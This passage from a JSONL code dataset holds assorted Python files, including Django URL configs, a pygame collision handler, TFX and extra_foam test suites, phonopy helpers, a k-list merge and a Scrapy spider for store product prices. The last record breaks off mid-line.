+{"seq_id":"571406987","text":"from pprint import pprint\nfrom subprocess import call\nfrom time import time, sleep\n\nimport requests, zipfile, os\nfrom neo4j import GraphDatabase, basic_auth\n\nfrom time import sleep\nimport shutil, os\n\nfrom bitflow.utils.module import Module\n\n'''\nTHIS FILE IS OUTDATED.\n\nKept possibly as reference material.\n'''\n\nNEO4J_IMPORT_DIR = '../../.Neo4jDesktop/neo4jDatabases/database-c60209c1-62b4-4cb3-90be-59a9b62b4141/installation-4.0.2/import/'\n\n\nclass DirectoryParser(Module):\n    '''\n    Populate neo4j with NASA directory info\n    '''\n    def __init__(self, import_dir=NEO4J_IMPORT_DIR, in_label=None, out_label='DirectorParserFinishedSignal', connect_label=None, name='Directory Parser'):\n        Module.__init__(self, in_label, out_label, connect_label, name)\n        self.import_dir = import_dir\n\n    def read(self, filename, headers_index=0):\n        with open(filename, 'r') as infile:\n            residuals = None\n            for i, line in enumerate(infile):\n                cells = [cell.strip() for cell in line.split(',')]\n                if i == headers_index:\n                    yield cells\n                elif i > headers_index:\n                    if residuals is None:\n                        residuals = cells\n                    else:\n                        residuals = [r if cell.strip() == '' else cell for cell, r in zip(cells, residuals)]\n                    yield residuals\n\n    def long_form(self, filename, headers_index=0):\n        reader  = self.read(filename, headers_index=headers_index)\n        headers = next(reader)\n        data    = {h.replace(' ', '_') : [] for h in headers}\n        for row in reader:\n            for label, cell in zip(data.keys(), row):\n                data[label].append(cell)\n        return data\n\n    def add_hierarchy(self, long_data):\n        previous  = None\n        from_uuid = None\n        for row in zip(*long_data.values()):\n            for key, value in zip(long_data.keys(), row):\n                data = dict(name=value)\n                uuid = value + '_' + key\n                yield self.custom_transaction(data=data, in_label=previous, out_label=key, uuid=uuid, from_uuid=from_uuid, connect_labels=('sub', 'super'))\n                previous  = key\n                from_uuid = uuid\n\n    def link_people(self, people):\n        for row in zip(*people.values()):\n            row_dict = {k : v for k, v in zip(people.keys(), row)}\n            name    = row_dict['Name']\n            project = row_dict['Project_name']\n            yield self.custom_transaction(in_label='Name', out_label='Project', from_uuid=name + '_Name', uuid=project + '_Project')\n\n    def process(self):\n        # Read CSV files into long form\n        directory    = 'data/directory_data/'\n        people       = self.long_form(directory + 'people.csv', headers_index=1)\n        projects     = self.long_form(directory + 'projects.csv')\n        data_science = self.long_form(directory + 'data_science.csv')\n\n        # Rename and remove some columns\n        project_descriptions = projects.pop('Description')\n\n        transaction_pool = []\n        transaction_pool.append(self.add_hierarchy(data_science))\n        transaction_pool.append(self.add_hierarchy(projects))\n        transaction_pool.append(self.add_hierarchy(people))\n        transaction_pool.append(self.link_people(people))\n\n        for transactions in transaction_pool:\n            for transaction in transactions:\n                yield transaction\n\n\n\n\n","sub_path":"modules/dir_2/DirectoryParser.py","file_name":"DirectoryParser.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"420748591","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\n\nfrom .views import register_view, login_view, logout_view, account_view\n\nurlpatterns = [\n    url(r'^signup', register_view, name='signup'),\n    url(r'^signin', login_view, name='signin'),\n    url(r'^signout', logout_view, name='signout'),\n    url(r'^$', account_view, name='account')\n]","sub_path":"podelka_accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"295706455","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport random\nimport pygame as pg\n\nfrom .. import constants as c\n\nclass CollisionHandler(object):\n\n    def __init__(self, player, blockers, sprites):\n        self.player = player\n        self.static_blockers = blockers\n        self.blockers = self.make_blocker_list(blockers, sprites)\n        self.sprites = sprites\n\n    def make_blocker_list(self, blockers, sprites):\n\n        blocker_list = []\n\n        for blocker in blockers:\n            blocker_list.append(blocker)\n\n        for sprite in sprites:\n            blocker_list.extend(sprite.blockers)\n\n        return blocker_list\n\n    def update(self, current_time, keys ):\n        self.blockers = self.make_blocker_list(self.static_blockers, self.sprites)\n        self.player.rect.move_ip(self.player.x_vel, self.player.y_vel)\n        self.check_for_blockers()\n\n        if self.player.rect.x % 32 == 0 and self.player.rect.y % 32 == 0:\n            if not self.player.state == 'resting':\n                pass\n            self.player.begin_resting()\n\n    def check_for_blockers(self):\n        player_collided = False\n\n        for blocker in self.blockers:\n            if self.player.rect.colliderect(blocker):\n                player_collided = True\n        if player_collided:\n            self.reset_after_collision(self.player)\n            self.player.begin_resting()\n\n    def reset_after_collision(self, sprite):\n        if sprite.x_vel != 0:\n            sprite.rect.x -= sprite.x_vel\n        else:\n            sprite.rect.y -= sprite.y_vel","sub_path":"未命名文件夹/new2/engine/sprites/CollisionHandler.py","file_name":"CollisionHandler.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"179084820","text":"# Copyright 2022 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for tfx.dsl.input_resolution.ops.latest_span_op.\"\"\"\n\nimport tensorflow as tf\n\nfrom tfx import types\nfrom tfx.dsl.input_resolution.ops import ops\nfrom tfx.dsl.input_resolution.ops import test_utils\nfrom tfx.types import artifact\n\n\nclass ArtifactWithoutSpanOrVersion(types.Artifact):\n  \"\"\"An Artifact without \"span\" or \"version\" as a PROPERTY.\"\"\"\n  TYPE_NAME = 'ArtifactWithoutSpanOrVersion'\n\n\nclass ArtifactWithoutSpan(types.Artifact):\n  \"\"\"An Artifact without \"span\" as a PROPERTY.\"\"\"\n  TYPE_NAME = 'ArtifactWithoutSpan'\n\n  PROPERTIES = {\n      'version': artifact.Property(type=artifact.PropertyType.INT),\n  }\n\n\nclass TempLatestSpanOpTest(tf.test.TestCase):\n\n  def testTempLatestSpan_Empty(self):\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, {'key': []})\n    self.assertEqual(actual, {'key': []})\n\n  def testTempLatestSpan_SingleEntry(self):\n    a1 = test_utils.DummyArtifact()\n    a1.span = 1\n\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, {'key': [a1]})\n    self.assertEqual(actual, {'key': [a1]})\n\n  def testTempLatestSpan(self):\n    a1 = test_utils.DummyArtifact()\n    a2 = test_utils.DummyArtifact()\n    a3 = test_utils.DummyArtifact()\n    a4 = test_utils.DummyArtifact()\n    a5 = ArtifactWithoutSpan()\n    a6 = ArtifactWithoutSpanOrVersion()\n\n    a1.span = 1\n    a2.span = 2\n    a3.span = 2\n    a4.span = 3\n\n    a1.version = 1\n    a2.version = 1\n    a3.version = 2\n    a4.version = 1\n    a5.version = 1\n\n    artifacts = {'key': [a1, a2, a3, a4, a5, a6]}\n\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, artifacts, n=1)\n    self.assertEqual(actual, {'key': [a4]})\n\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, artifacts, n=2)\n    self.assertEqual(actual, {'key': [a4, a3]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, artifacts, n=2, keep_all_versions=True)\n    self.assertEqual(actual, {'key': [a4, a2, a3]})\n\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, artifacts, n=3)\n    self.assertEqual(actual, {'key': [a4, a3, a1]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, {'key': [a1, a2, a3, a4, a5]},\n        n=3,\n        keep_all_versions=True)\n    self.assertEqual(actual, {'key': [a4, a2, a3, a1]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, {'key': [a1, a2, a3, a4, a5]}, n=4)\n    self.assertEqual(actual, {'key': [a4, a3, a1]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, {'key': [a1, a2, a3, a4, a5]},\n        n=4,\n        keep_all_versions=True)\n    self.assertEqual(actual, {'key': [a4, a2, a3, a1]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, {\n            'key1': [a1, a2, a3, a4, a5],\n            'key2': [a1, a2, a3, a5]\n        },\n        n=1)\n    self.assertEqual(actual, {'key1': [a4], 'key2': [a3]})\n\n  def testTempLatestSpan_AllSameSpanSameVersion(self):\n    a1 = test_utils.DummyArtifact()\n    a2 = test_utils.DummyArtifact()\n    a3 = test_utils.DummyArtifact()\n\n    a1.span = 1\n    a2.span = 1\n    a3.span = 1\n\n    a1.version = 1\n    a2.version = 1\n    a3.version = 1\n\n    a1.id = 1\n    a2.id = 2\n    a3.id = 3\n\n    artifacts = {'key': [a1, a2, a3]}\n\n    actual = test_utils.run_resolver_op(ops.TempLatestSpan, artifacts, n=1)\n    self.assertEqual(actual, {'key': [a3]})\n\n    actual = test_utils.run_resolver_op(\n        ops.TempLatestSpan, artifacts, n=1, keep_all_versions=True)\n    self.assertEqual(actual, {'key': [a1, a2, a3]})\n\n  def testTempLatestSpan_InvalidN(self):\n    a1 = test_utils.DummyArtifact()\n\n    with self.assertRaisesRegex(ValueError, 'n must be > 0'):\n      test_utils.run_resolver_op(ops.TempLatestSpan, {'key': [a1]}, n=-1)\n\n\nif __name__ == '__main__':\n  tf.test.main()\n","sub_path":"tfx/dsl/input_resolution/ops/temp_latest_span_op_test.py","file_name":"temp_latest_span_op_test.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"462974330","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom phonopy import Phonopy\nfrom phonopy.interface.vasp import read_vasp_from_strings, read_vasp\nfrom phonopy.file_IO import (parse_FORCE_SETS, parse_BORN)\nfrom pyscat.utils.idata import Idata\n\n\ndef get_grid(\n        idat,\n        is_mesh_symmetry=True,\n        is_eigenvectors=True):\n    \"\"\"Get phonon properties on grid\n    Parameters\n    ------------\n    idat : Idata\n\n    Return\n    -------\n    qs : ndarray, float, shape=(nqpoints, 3)\n        q-points\n    weights : ndarray, float, shepe=(nqpoints)\n        Multiplicity flowing the symmetry.\n        Type is float, but values are integer.\n    f2s : ndarray, float, shape=(nqpoints, nmodes)\n        Squared frequencies [THz**2]\n    evecs : ndarray, float, shape=(nqpoints, 3*nsites, nmodes) \n        Eigenvectors.\n    \"\"\"\n    phonon = get_phonopy(idat)\n    phonon.set_mesh(\n            idat.nmesh,\n            is_mesh_symmetry=is_mesh_symmetry,\n            is_eigenvectors=is_eigenvectors)\n    qs, weights, frequencies, evecs = phonon.get_mesh()\n    f2s = frequencies**2 * np.sign(frequencies)\n    return qs, weights, f2s, evecs\n\n\ndef get_phonopy(idat):\n    \"\"\"Make and return a Phonpy class\n    containing infomration of structure and IFCs\n\n    Parameters\n    ------------\n    idat : Idata\n        Containing basic file names and vectors \n        See the description of Idata class for details.\n    \n    Return\n    --------\n    phonon : Phonpy\n    \"\"\"\n    phonon = set_phonopy_structure(idat)\n    add_ifcs2phonopy(phonon, idat)\n    return phonon\n \ndef set_phonopy_structure(idat):\n    \"\"\"\n    Parameters\n    -------------\n    idat : Idata\n        Containing basic file names and vectors \n        See the description of Idata class for details.\n    \n    Return\n    --------\n    phonon : Phonopy\n        Structure of POSCAR file\n    \"\"\"\n    unitcell = read_vasp(idat.fposcar)\n    phonon = Phonopy(unitcell, idat.ncells, primitive_matrix=idat.primat)\n    return phonon\n\ndef add_ifcs2phonopy(phonon, idat):\n    \"\"\"Addition of IFCs data to Phonopy calss\n    \n    Parameters\n    -----------\n    phonon : Phonpy\n    idat : Idata\n\n    Return\n    ---------\n    phonon : Phonopy\n        There is a return, but it is not necessary because \n        the contents of phonon is added.\n    \"\"\"\n    # -- Read force sets and calculate IFCs\n    force_sets = parse_FORCE_SETS(filename=idat.fforce)\n    phonon.set_displacement_dataset(force_sets)\n    phonon.produce_force_constants()\n    phonon.symmetrize_force_constants()\n    \n    # -- Set Born effective charge if provided.\n    if idat.fborn is not None:\n        primitive = phonon.get_primitive()\n        nac_params = parse_BORN(primitive, filename=idat.fborn)\n        phonon.set_nac_params(nac_params)\n    return phonon\n\n\n","sub_path":"pyscat/latdynam/phonon.py","file_name":"phonon.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"342382832","text":"from django.conf.urls.defaults import *\n\nfrom django.views.generic import list_detail, date_based\nfrom app.blog.views import *\n\n\n# Models\nfrom app.blog.views import Post\n\n# Feeds\nfrom app.blog.feeds import BlogLatestEntries\n\nfeeds = {'latest': BlogLatestEntries,}\n \nurlpatterns = patterns('',\n    \n   url(r'^search/$', blog_post_search, name=\"blog_post_search\"),\n\n# Archives\n    url(r'^archive/(?P<month>[a-z]+)/(?P<year>\\d{4})/$', blog_generic_view,\n            {'redirect_to': date_based.archive_month, 'date_field': 'published',\n                'template_name': 'blog/post_list.html', 'paginated': False},\n       name='blog_posts_by_month'),\n\n# Tag listing page\n    url(r'^tag/(?P<tag>[-,\\+\\w]+)/$', blog_posts_by_tag,\n        name='blog_posts_by_tag'),\n   \n# POST\n    url(r'^(?P<category>[-,\\+\\w]+)/(?P<subcategory>[-,\\+\\w]+)/(?P<slug>[-,\\+\\w]+)/$', blog_generic_view,\n            {'redirect_to': list_detail.object_detail, 'slug_field' : 'slug' , 'paginated': False, },\n        name='single_post'),\n\n# Top Level (parent) category\n    url(r'^(?P<category>[-,\\+\\w]+)/$', blog_posts_by_category,\n        name='blog_posts_by_category'),\n\n# Ssub Level (child) category\n    url(r'^(?P<category>[-,\\+\\w]+)/(?P<subcategory>[-,\\+\\w]+)/$', blog_posts_by_subcategory,\n        name='blog_posts_by_subcategory'),\n\n\n   \n# Home page (post list)\n    url(r'^$', blog_generic_view, {'redirect_to': list_detail.object_list},\n        name='blog_home'),\n\n#feeds\n    url(r'^feeds/(?P<url>.*)/$', 'django.contrib.syndication.views.Feed', {'feed_dict': feeds}),\n)\n\n","sub_path":"app/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"22973974","text":"#Merge k sorted linked lists and return it as one sorted list. Analyze and describe its complexity.\n#its complexity is the total length of k linked list times log(k)\n# Definition for singly-linked list.\nclass ListNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nimport heapq\nclass Solution(object):\n    def mergeKLists(self, lists):\n        \"\"\"\n        :type lists: List[ListNode]\n        :rtype: ListNode\n        \"\"\"\n        if len(lists) == 0:\n            return []\n        elif len(lists) == 1:\n            return lists[0]\n        heap = []\n        for node in lists:\n            if node != None:\n                heapq.heappush(heap, (node.val, node))\n        res = []\n        while len(heap) > 0:\n            val, smallest_node = heapq.heappop(heap)\n            res.append(smallest_node.val)\n            if smallest_node.next != None:\n                next_node = smallest_node.next\n                heapq.heappush(heap, (next_node.val, next_node))\n            smallest_node.next = None\n        return res\n","sub_path":"Heap/mergeKLinkedListSolution.py","file_name":"mergeKLinkedListSolution.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"490503869","text":"import scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\n\n\nclass ReglasExtractor(CrawlSpider):\n    \n    name = 'reglas'\n\n\n    allowed_domains = [ # heredado\n        'asromastore.com',\n    ]\n\n    start_urls = [\n        'https://www.asromastore.com/it/allenamento.html',\n    ]\n\n    segmentos_url_permitidos = ( # con esto se controla que la info solo sea la que se quiere y no se expanda por otros lados\n        'allenamento.html',\n    )\n\n    segmentos_url_restringidos = (\n        'en/',\n    )\n\n    regla_tres = (\n        Rule(\n            LinkExtractor(\n                allow_domains= allowed_domains,\n                allow= segmentos_url_permitidos,\n                deny=segmentos_url_restringidos\n            ),\n            callback= 'parse_page'\n        ),\n        # parametro vacio\n    )\n\n    rules = regla_tres\n\n    def parse_page(self,response):\n        nuevos_productos_nombre = response.xpath(\n            \"/html/body/div[3]/div[2]/div[8]/div/div/div/div/div/div[3]/div/div[1]/div[2]/ul/li/div/div[2]/h3/a/text()\"\n        ).extract()\n        #print(\"*******************************\")\n        #print(nuevos_productos_nombre)   \n\n        nuevos_productos_precio = response.xpath(\n            \"/html/body/div[3]/div[2]/div[8]/div/div/div/div/div/div[3]/div/div[1]/div[2]/ul/li/div/div[2]/div[2]/span/span/text()\"\n        ).extract()\n        nuevos_productos_precios_lista = list()\n        for precio in nuevos_productos_precio:\n            nuevos_productos_precios_lista.append(float(precio.replace(\"€\\xa0\",\"\").replace(\",\",\".\")))\n        #print(\"*******************************\")\n        #print(nuevos_productos_precios_lista)   \n\n        resultado = list(zip(nuevos_productos_nombre, nuevos_productos_precios_lista))\n        print(\"*******************************\")\n        print(resultado)\n\n\n        for producto in resultado:\n            with open('store_nuevos_productos.txt','a+',encoding='utf-8') as archivo:\n                archivo.write(producto[0] + ' | ' + str(producto[1]) + '\\n')\n\n\n","sub_path":"07 - repaso/reglas/reglas/spiders/reglas.py","file_name":"reglas.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"456783234","text":"import unittest\nfrom unittest.mock import patch, MagicMock, Mock\nimport random\nimport tempfile\nimport os\n\nimport numpy as np\n\nfrom PyQt5.QtCore import QPoint, Qt\nfrom PyQt5.QtTest import QTest, QSignalSpy\n\nfrom extra_foam.database import Metadata as mt\nfrom extra_foam.logger import logger\nfrom extra_foam.services import Foam\nfrom extra_foam.gui import mkQApp\nfrom extra_foam.gui.windows import (\n    BinningWindow, CorrelationWindow, HistogramWindow,\n    PulseOfInterestWindow, PumpProbeWindow,\n    FileStreamWindow, AboutWindow,\n)\nfrom extra_foam.config import (\n    config, AnalysisType, BinMode, PumpProbeMode,\n)\nfrom extra_foam.processes import wait_until_redis_shutdown\n\napp = mkQApp()\n\nlogger.setLevel(\"CRITICAL\")\n\n\n_tmp_cfg_dir = tempfile.mkdtemp()\n\n\ndef setup_module(module):\n    from extra_foam import config\n    module._backup_ROOT_PATH = config.ROOT_PATH\n    config.ROOT_PATH = _tmp_cfg_dir\n\n\ndef teardown_module(module):\n    os.rmdir(_tmp_cfg_dir)\n    from extra_foam import config\n    config.ROOT_PATH = module._backup_ROOT_PATH\n\n\nclass TestMainGuiCtrl(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        config.load(*random.choice([('LPD', 'FXE'), ('DSSC', 'SCS')]))\n\n        cls.foam = Foam().init()\n\n        cls.gui = cls.foam._gui\n        cls.train_worker = cls.foam.train_worker\n        cls.pulse_worker = cls.foam.pulse_worker\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.foam.terminate()\n\n        wait_until_redis_shutdown()\n\n        os.remove(config.config_file)\n\n    def setUp(self):\n        self.assertTrue(self.gui.updateMetaData())\n\n    def testAnalysisCtrlWidget(self):\n        widget = self.gui.analysis_ctrl_widget\n        train_worker = self.train_worker\n        pulse_worker = self.pulse_worker\n\n        xgm_proc = pulse_worker._xgm_proc\n        digitizer_proc = pulse_worker._digitizer_proc\n        roi_proc = train_worker._image_roi\n        ai_proc = train_worker._ai_proc\n\n        meta = xgm_proc._meta  # any meta is OK\n        # test \"Reset moving average\" button\n        widget._reset_ma_btn.clicked.emit()\n        self.assertEqual('1', meta.hget(mt.GLOBAL_PROC, 'reset_ma_ai'))\n        self.assertEqual('1', meta.hget(mt.GLOBAL_PROC, 'reset_ma_roi'))\n        self.assertEqual('1', meta.hget(mt.GLOBAL_PROC, 'reset_ma_xgm'))\n        self.assertEqual('1', meta.hget(mt.GLOBAL_PROC, 'reset_ma_digitizer'))\n        roi_proc.update()\n        self.assertIsNone(meta.hget(mt.GLOBAL_PROC, 'reset_ma_roi'))\n        ai_proc.update()\n        self.assertIsNone(meta.hget(mt.GLOBAL_PROC, 'reset_ma_ai'))\n        xgm_proc.update()\n        self.assertIsNone(meta.hget(mt.GLOBAL_PROC, 'reset_ma_xgm'))\n        digitizer_proc.update()\n        self.assertIsNone(meta.hget(mt.GLOBAL_PROC, 'reset_ma_digitizer'))\n\n        # ----------------\n        # Test POI indices\n        # ----------------\n\n        image_proc = self.pulse_worker._image_proc\n\n        # default values\n        image_proc.update()\n        for idx in image_proc._poi_indices:\n            self.assertEqual(0, idx)\n\n        new_indices = [10, 20]\n        for i in range(len(new_indices)):\n            widget._poi_index_les[i].setText(str(new_indices[i]))\n        image_proc.update()\n        for i in range(len(new_indices)):\n            self.assertEqual(new_indices[i], image_proc._poi_indices[i])\n\n        # the PoiWindow will be informed when opened\n        self.assertEqual(0, len(self.gui._plot_windows))\n        poi_action = self.gui._tool_bar.actions()[4]\n        self.assertEqual(\"Pulse-of-interest\", poi_action.text())\n        poi_action.trigger()\n        win = list(self.gui._plot_windows.keys())[-1]\n        self.assertIsInstance(win, PulseOfInterestWindow)\n        for i, index in enumerate(new_indices):\n            self.assertEqual(index, win._poi_imgs[i]._index)\n            self.assertEqual(index, win._poi_fom_hists[i]._index)\n            self.assertEqual(index, win._poi_roi_hists[i]._index)\n        win.close()\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onMaWindowChange(111)\n        mediator.onPoiIndexChange(0, 22)\n        mediator.onPoiIndexChange(1, 33)\n        widget.loadMetaData()\n        self.assertEqual(\"111\", widget._ma_window_le.text())\n        self.assertEqual(\"22\", widget._poi_index_les[0].text())\n        self.assertEqual(\"33\", widget._poi_index_les[1].text())\n\n    def testPumpProbeCtrlWidget(self):\n        widget = self.gui.pump_probe_ctrl_widget\n        pp_proc = self.pulse_worker._pp_proc\n\n        all_modes = {value: key for key, value in\n                     widget._available_modes.items()}\n\n        # check default reconfigurable params\n        pp_proc.update()\n        self.assertTrue(pp_proc._abs_difference)\n        self.assertEqual(AnalysisType(0), pp_proc.analysis_type)\n\n        pp_proc.update()\n        self.assertEqual(PumpProbeMode.UNDEFINED, pp_proc._mode)\n        self.assertEqual(slice(None, None), pp_proc._indices_on)\n        self.assertEqual(slice(None, None), pp_proc._indices_off)\n\n        # change analysis type\n        pp_proc._reset = False\n        widget._analysis_type_cb.setCurrentText('ROI proj')\n        pp_proc.update()\n        self.assertEqual(AnalysisType.ROI_PROJ, pp_proc.analysis_type)\n        self.assertTrue(pp_proc._reset)\n\n        # change pump-probe mode\n        pp_proc._reset = False\n        widget._mode_cb.setCurrentText(all_modes[PumpProbeMode.EVEN_TRAIN_ON])\n        pp_proc.update()\n        self.assertTrue(pp_proc._reset)\n\n        # off_pulse_le will be disabled when the mode is REFERENCE_AS_OFF\n        widget._mode_cb.setCurrentText(all_modes[PumpProbeMode.REFERENCE_AS_OFF])\n        self.assertTrue(widget._on_pulse_le.isEnabled())\n        self.assertFalse(widget._off_pulse_le.isEnabled())\n        widget._mode_cb.setCurrentText(all_modes[PumpProbeMode.EVEN_TRAIN_ON])\n        self.assertTrue(widget._on_pulse_le.isEnabled())\n        self.assertTrue(widget._off_pulse_le.isEnabled())\n\n        # change abs_difference\n        pp_proc._reset = False\n        QTest.mouseClick(widget._abs_difference_cb, Qt.LeftButton,\n                         pos=QPoint(2, widget._abs_difference_cb.height()/2))\n        pp_proc.update()\n        self.assertFalse(pp_proc._abs_difference)\n        self.assertTrue(pp_proc._reset)\n\n        # change on/off pulse indices\n        widget._on_pulse_le.setText('0:10:2')\n        widget._off_pulse_le.setText('1:10:2')\n        pp_proc.update()\n        self.assertEqual(PumpProbeMode.EVEN_TRAIN_ON, pp_proc._mode)\n        self.assertEqual(slice(0, 10, 2), pp_proc._indices_on)\n        self.assertEqual(slice(1, 10, 2), pp_proc._indices_off)\n\n        # test reset button\n        pp_proc._reset = False\n        widget._reset_btn.clicked.emit()\n        pp_proc.update()\n        self.assertTrue(pp_proc._reset)\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onPpAnalysisTypeChange(AnalysisType.AZIMUTHAL_INTEG)\n        mediator.onPpModeChange(PumpProbeMode.ODD_TRAIN_ON)\n        mediator.onPpOnPulseSlicerChange([0, None, 2])\n        mediator.onPpOffPulseSlicerChange([1, None, 2])\n        mediator.onPpAbsDifferenceChange(True)\n        widget.loadMetaData()\n        self.assertEqual(\"azimuthal integ\", widget._analysis_type_cb.currentText())\n        self.assertEqual(\"odd/even train\", widget._mode_cb.currentText())\n        self.assertEqual(True, widget._abs_difference_cb.isChecked())\n        self.assertEqual(\"0::2\", widget._on_pulse_le.text())\n        self.assertEqual(\"1::2\", widget._off_pulse_le.text())\n\n    def testDataSourceWidget(self):\n        from extra_foam.gui.ctrl_widgets.data_source_widget import DataSourceWidget\n\n        widget = self.gui._source_cw\n        self.assertIsInstance(widget, DataSourceWidget)\n\n    def testFomFilterCtrlWidget(self):\n        widget = self.gui.fom_filter_ctrl_widget\n        filter_pulse = self.pulse_worker._filter\n        filter_train = self.train_worker._filter\n\n        analysis_types = {value: key for key, value in widget._analysis_types.items()}\n\n        # test default\n\n        self.assertTrue(widget._pulse_resolved_cb.isChecked())\n\n        filter_pulse.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertTupleEqual((-np.inf, np.inf), filter_pulse._fom_range)\n        filter_train.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertTupleEqual((-np.inf, np.inf), filter_pulse._fom_range)\n\n        # test set new\n\n        widget._analysis_type_cb.setCurrentText(analysis_types[AnalysisType.ROI_FOM])\n        widget._fom_range_le.setText(\"-1, 1\")\n        filter_pulse.update()\n        self.assertEqual(AnalysisType.ROI_FOM_PULSE, filter_pulse.analysis_type)\n        self.assertEqual((-1, 1), filter_pulse._fom_range)\n        filter_train.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_train.analysis_type)\n        self.assertTupleEqual((-np.inf, np.inf), filter_train._fom_range)\n\n        widget._fom_range_le.setText(\"-2, 2\")\n        widget._pulse_resolved_cb.setChecked(False)\n        filter_pulse.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertEqual((-1, 1), filter_pulse._fom_range)\n        filter_train.update()\n        self.assertEqual(AnalysisType.ROI_FOM, filter_train.analysis_type)\n        self.assertTupleEqual((-2, 2), filter_train._fom_range)\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onFomFilterAnalysisTypeChange(AnalysisType.UNDEFINED)\n        mediator.onFomFilterRangeChange((-10, 10))\n        mediator.onFomFilterPulseResolvedChange(True)\n        widget.loadMetaData()\n        self.assertEqual(\"\", widget._analysis_type_cb.currentText())\n        self.assertEqual(\"-10, 10\", widget._fom_range_le.text())\n        self.assertEqual(True, widget._pulse_resolved_cb.isChecked())\n\n    def testCorrelationCtrlWidget(self):\n        from extra_foam.gui.ctrl_widgets.correlation_ctrl_widget import (\n            _N_PARAMS, _DEFAULT_RESOLUTION)\n        from extra_foam.pipeline.processors.base_processor import (\n            SimplePairSequence, OneWayAccuPairSequence\n        )\n        USER_DEFINED_KEY = config[\"SOURCE_USER_DEFINED_CATEGORY\"]\n\n        widget = self.gui.correlation_ctrl_widget\n        analysis_types = {value: key for key, value in widget._analysis_types.items()}\n\n        for i in range(_N_PARAMS):\n            # test category list\n            combo_lst = [widget._table.cellWidget(i, 0).itemText(j)\n                         for j in range(widget._table.cellWidget(i, 0).count())]\n            self.assertListEqual([\"\", \"Metadata\"]\n                                 + [k for k, v in config.control_sources.items() if v]\n                                 + [USER_DEFINED_KEY],\n                                 combo_lst)\n\n        train_worker = self.train_worker\n        processors = [train_worker._correlation1_proc, train_worker._correlation2_proc]\n\n        # test default\n        for proc in processors:\n            proc.update()\n            self.assertEqual(AnalysisType(0), proc.analysis_type)\n            self.assertEqual(\"\", proc._source)\n            self.assertEqual(_DEFAULT_RESOLUTION, proc._resolution)\n\n        # set new FOM\n        widget._analysis_type_cb.setCurrentText(analysis_types[AnalysisType.ROI_PROJ])\n        for proc in processors:\n            proc._reset = False\n            proc.update()\n            self.assertEqual(AnalysisType.ROI_PROJ, proc.analysis_type)\n            self.assertTrue(proc._reset)\n\n        for idx, proc in enumerate(processors):\n            # change source\n            proc._reset = False\n            ctg, device_id, ppt = 'Metadata', \"META\", \"timestamp.tid\"\n            widget._table.cellWidget(idx, 0).setCurrentText(ctg)\n            self.assertEqual(device_id, widget._table.cellWidget(idx, 1).currentText())\n            self.assertEqual(ppt, widget._table.cellWidget(idx, 2).currentText())\n            proc.update()\n            src = f\"{device_id} {ppt}\" if device_id and ppt else \"\"\n            self.assertEqual(src, proc._source)\n            self.assertTrue(proc._reset)\n\n            # just test we can set a motor source\n            proc._reset = False\n            widget._table.cellWidget(idx, 0).setCurrentText(\"Motor\")\n            proc.update()\n            self.assertTrue(proc._reset)\n\n            proc._reset = False\n            ctg, device_id, ppt = USER_DEFINED_KEY, \"ABC\", \"efg\"\n            widget._table.cellWidget(idx, 0).setCurrentText(ctg)\n            self.assertEqual('', widget._table.cellWidget(idx, 1).text())\n            self.assertEqual('', widget._table.cellWidget(idx, 2).text())\n            widget._table.cellWidget(idx, 1).setText(device_id)\n            widget._table.cellWidget(idx, 2).setText(ppt)\n            self.assertEqual(device_id, widget._table.cellWidget(0, 1).text())\n            